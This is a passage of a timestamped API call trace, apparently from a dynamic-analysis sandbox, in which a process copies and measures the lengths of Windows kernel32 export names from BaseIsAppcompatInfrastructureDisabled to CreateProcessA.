returned="BaseIsAppcompatInfrastructureDisabled" [0056.582] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0056.582] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0056.582] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0056.582] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0056.582] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0056.582] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0056.582] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0056.582] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0056.582] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0056.582] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0056.582] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0056.582] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0056.582] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0056.582] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0056.583] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0056.583] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0056.583] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0056.583] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0056.583] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0056.583] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BasepCheckBadapp" | out: lpString1="BasepCheckBadapp") returned="BasepCheckBadapp" [0056.583] lstrlenA (lpString="BASEPCHECKBADAPP") returned 16 [0056.583] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0056.583] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0056.583] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0056.583] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0056.583] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0056.583] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0056.583] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0056.583] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0056.583] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0056.583] lstrlenA (lpString="BEEP") returned 4 [0056.583] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0056.583] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0056.583] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0056.583] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0056.583] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0056.583] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0056.583] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0056.583] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0056.583] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0056.583] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0056.583] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0056.583] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0056.583] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0056.583] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0056.583] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0056.583] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0056.583] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0056.584] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0056.584] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0056.584] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0056.584] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0056.584] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0056.584] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0056.584] lstrlenA (lpString="CANCELIO") returned 8 [0056.584] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0056.584] lstrlenA (lpString="CANCELIOEX") returned 10 [0056.584] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0056.584] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0056.584] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0056.584] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0056.584] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0056.584] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0056.584] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0056.584] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0056.584] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0056.584] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0056.584] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0056.584] lstrlenA (lpString="CHECKELEVATION") returned 14 [0056.584] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0056.584] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0056.584] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0056.584] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0056.584] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0056.584] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0056.584] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0056.584] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0056.584] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0056.584] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0056.584] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0056.584] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0056.584] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0056.585] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0056.585] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0056.585] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0056.585] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0056.585] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0056.585] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0056.585] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0056.585] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0056.585] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0056.585] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0056.585] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0056.585] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0056.585] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0056.585] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0056.585] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0056.585] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0056.585] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0056.585] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0056.585] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0056.585] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0056.585] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0056.585] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0056.585] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0056.585] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0056.585] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0056.585] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0056.585] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0056.585] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0056.585] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0056.585] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0056.585] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0056.585] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0056.585] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0056.585] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0056.585] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0056.586] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0056.586] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0056.586] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0056.586] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0056.586] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0056.586] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0056.586] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0056.586] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0056.586] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0056.586] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0056.586] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0056.586] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0056.586] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0056.586] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0056.586] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0056.586] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0056.586] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0056.586] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0056.586] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0056.586] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0056.586] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0056.586] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0056.586] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0056.586] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0056.586] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0056.586] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0056.586] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0056.586] lstrlenA (lpString="COPYCONTEXT") returned 11 [0056.586] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0056.586] lstrlenA (lpString="COPYFILEA") returned 9 [0056.586] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0056.586] lstrlenA (lpString="COPYFILEEXA") returned 11 [0056.586] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0056.586] lstrlenA (lpString="COPYFILEEXW") returned 11 [0056.586] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0056.586] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0056.587] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0056.587] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0056.587] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0056.587] lstrlenA (lpString="COPYFILEW") returned 9 [0056.587] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0056.587] lstrlenA (lpString="COPYLZFILE") returned 10 [0056.587] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0056.587] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0056.587] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0056.587] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0056.587] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0056.587] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0056.587] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0056.587] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0056.587] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0056.587] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0056.587] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0056.587] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0056.587] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0056.587] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0056.587] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0056.587] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0056.587] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0056.587] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0056.587] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0056.587] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0056.587] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0056.587] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0056.587] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0056.587] lstrlenA (lpString="CREATEEVENTA") returned 12 [0056.587] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0056.587] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0056.587] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0056.587] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0056.588] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0056.588] lstrlenA (lpString="CREATEEVENTW") returned 12 [0056.588] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0056.588] lstrlenA (lpString="CREATEFIBER") returned 11 [0056.588] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0056.588] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0056.588] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0056.588] lstrlenA (lpString="CREATEFILEA") returned 11 [0056.588] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0056.588] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0056.588] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0056.588] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0056.588] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0056.588] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0056.588] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0056.588] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0056.588] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0056.588] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0056.588] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0056.588] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0056.588] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0056.588] lstrlenA (lpString="CREATEFILEW") returned 11 [0056.588] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0056.588] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0056.588] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0056.588] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0056.588] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0056.588] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0056.588] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0056.588] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0056.588] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0056.588] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0056.588] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0056.588] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0056.588] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0056.588] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0056.589] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0056.589] lstrlenA (lpString="CREATEJOBSET") returned 12 [0056.589] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0056.589] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0056.589] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0056.589] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0056.589] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0056.589] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0056.589] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0056.589] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0056.589] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0056.589] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0056.589] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0056.589] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0056.589] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0056.589] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0056.589] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0056.589] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0056.589] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0056.589] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0056.589] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0056.589] lstrlenA (lpString="CREATEPIPE") returned 10 [0056.589] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0056.589] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0056.589] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0056.589] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0056.589] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0056.589] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0056.589] lstrcpyA (in: lpString1=0x2c4eb6c, 